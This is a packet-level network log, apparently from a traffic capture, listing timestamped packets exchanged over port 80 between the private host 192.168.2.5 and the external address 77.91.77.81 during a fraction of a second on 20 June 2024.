Jun 20, 2024 15:38:13.959506989 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:13.959518909 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:13.959531069 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:13.959533930 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:13.959558964 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:13.959579945 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:13.959662914 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:13.959673882 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:13.959683895 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:13.959702969 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:13.959724903 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:13.959724903 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:13.959753990 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:13.959852934 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:13.959863901 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:13.959873915 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:13.959887028 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:13.959897995 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:13.959902048 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:13.959908962 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:13.959918976 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:13.959928036 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:13.959930897 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:13.959942102 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:13.959953070 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:13.959963083 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:13.959974051 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:13.959974051 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:13.959985971 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:13.959996939 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:13.960005045 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:13.960016012 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:13.960024118 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:13.960031986 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:13.960035086 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:13.960046053 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:13.960058928 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:13.960061073 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:13.960071087 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:13.960081100 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:13.960093021 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:13.960103035 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:13.960103989 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:13.960114002 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:13.960124969 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:13.960124969 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:13.960135937 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:13.960146904 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:13.960155010 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:13.960158110 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:13.960167885 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:13.960170031 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:13.960180998 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:13.960187912 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:13.960192919 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:13.960205078 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:13.960216999 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:13.960222960 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:13.960236073 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:13.960247040 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:13.960248947 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:13.960259914 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:13.960267067 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:13.960273027 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:13.960283995 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:13.960295916 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:13.960302114 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:13.960306883 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:13.960318089 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:13.960328102 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:13.960329056 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:13.960345030 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:13.960371971 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:13.982964993 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:13.982978106 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:13.982995987 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:13.983014107 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:13.983025074 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:13.983035088 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:13.983045101 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:13.983050108 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:13.983056068 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:13.983072996 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:13.983098030 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:13.983139038 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.014570951 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.014614105 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.014624119 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.014643908 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.014676094 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.014679909 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.014689922 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.014707088 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.014714003 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.014719963 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.014730930 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.014736891 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.014743090 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.014755011 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.014779091 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.014806032 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.014818907 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.014828920 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.014841080 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.014852047 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.014852047 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.014872074 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.014898062 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.014902115 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.014911890 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.014923096 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.014934063 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.014942884 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.014947891 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.014970064 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.014991999 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.015188932 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.015240908 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.045147896 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.045186043 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.045196056 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.045239925 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.045295954 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.045331955 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.045331955 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.045427084 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.045473099 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.045514107 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.045523882 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.045561075 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.045763016 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.045814037 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.045841932 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.045886993 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.046040058 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.046084881 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.046175003 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.046185970 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.046226025 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.046386003 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.046432018 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.046530962 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.046542883 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.046576977 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.046590090 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.046622992 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.046633959 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.046644926 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.046672106 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.046694040 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.046891928 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.046936989 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.046957970 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.046968937 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.046998024 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.047010899 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.047034025 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.047044992 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.047071934 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.047085047 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.047147036 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.047157049 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.047167063 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.047177076 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.047188044 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.047199011 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.047208071 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.047230959 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.047238111 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.047247887 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.047266006 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.047274113 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.047338963 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.047348976 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.047358990 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.047369957 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.047375917 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.047380924 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.047409058 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.047431946 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.047456980 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.047466993 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.047477961 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.047487020 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.047496080 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.047509909 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.047533989 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.047560930 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.047573090 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.047581911 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.047591925 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.047601938 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.047612906 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.047622919 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.047638893 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.047652006 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.047683954 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.047713041 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.047724009 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.047746897 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.047755957 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.047760010 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.047765970 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.047777891 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.047786951 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.047811031 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.047827959 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.047894001 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.047934055 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.048060894 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.048072100 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.048080921 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.048090935 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.048099995 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.048110962 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.048113108 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.048127890 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.048139095 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.048137903 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.048146963 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.048156023 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.048158884 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.048168898 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.048177958 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.048187017 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.048188925 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.048199892 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.048209906 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.048216105 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.048219919 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.048235893 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.048260927 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.048417091 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.048427105 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.048437119 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.048448086 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.048469067 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.048489094 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.048552990 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.048564911 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.048572063 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.048582077 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.048592091 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.048600912 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.048605919 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.048612118 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.048623085 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.048623085 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.048634052 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.048645020 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.048645020 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.048670053 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.048691988 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.075766087 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.075829029 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.075841904 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.075854063 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.075885057 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.075886011 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.075895071 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.075906038 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.075920105 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.075920105 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.075933933 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.075948000 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.075978994 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.075990915 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.076001883 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.076013088 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.076025009 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.076029062 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.076067924 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.101181030 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.101191998 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.101202011 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.101219893 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.101228952 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.101239920 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.101249933 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.101250887 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.101277113 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.101289988 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.101290941 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.101313114 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.101317883 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.101321936 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.101341963 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.101355076 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.101371050 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.101382971 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.101416111 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.101428986 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.101454973 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.101464033 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.101488113 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.101494074 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.101499081 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.101504087 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.101510048 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.101527929 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.101537943 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.101547956 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.101582050 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.101603031 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.101620913 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.101625919 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.101632118 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.101646900 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.101677895 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.101706982 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.101717949 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.101727962 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.101746082 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.101758957 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.131944895 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.131958961 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.131968975 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.131988049 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.131999016 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.132009983 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.132016897 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.132021904 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.132049084 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.132062912 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.132071972 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.132097006 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.132108927 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.132111073 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.132117987 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.132133961 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.132147074 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.132282019 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.132292986 CEST	80	49710	77.91.77.81	192.168.2.5
